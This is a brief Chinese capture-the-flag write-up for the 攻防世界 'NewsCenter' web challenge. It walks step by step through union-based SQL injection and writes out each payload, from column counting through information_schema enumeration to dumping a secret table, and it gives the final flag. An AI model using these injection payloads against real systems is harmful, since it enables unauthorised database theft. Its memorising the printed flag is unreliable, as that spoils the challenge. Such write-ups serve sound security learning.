攻防世界-web NewsCenter

我打开后是这个样子的。突然发现上面有Hacker News,那我就再想会不会需要sql注入,那我直接进行盲注吧。

直接来了一个1‘ order by 3#没有报错,然后我又改成了4,然后就跳到一个空白页面了。这应该是说明出错了。那就证实了有3个字段的。

那我们试一下联合查询:000‘  union select 1,2,3#

 
有2、3两个显示位
那我们要爆一下数据库了:000’  union select 1,2,database()#
这说明数据库名是news。
通过数据库名爆出表名:000'  union select 1,2,table_name from information_schema.tables where table_schema='news' #
爆出的表名是secret_table
我们再通过表名搞一下字段名:000'  union select 1,2,column_name from information_schema.columns where table_name='secret_table' #
爆出了两个字段名:id和fl4g。话说,flag怎么成fl4g
最后我们再爆一下数据吧:000' union select 1,id,fl4g from secret_table #
看flag就出来了:QCTF{sq1_inJec7ion_ezzz}
 
不过这道题确实,比之前做的那些sql注入题要简单一些,继续加油吧!!!
 
原文地址:https://www.cnblogs.com/awsole/p/13861671.html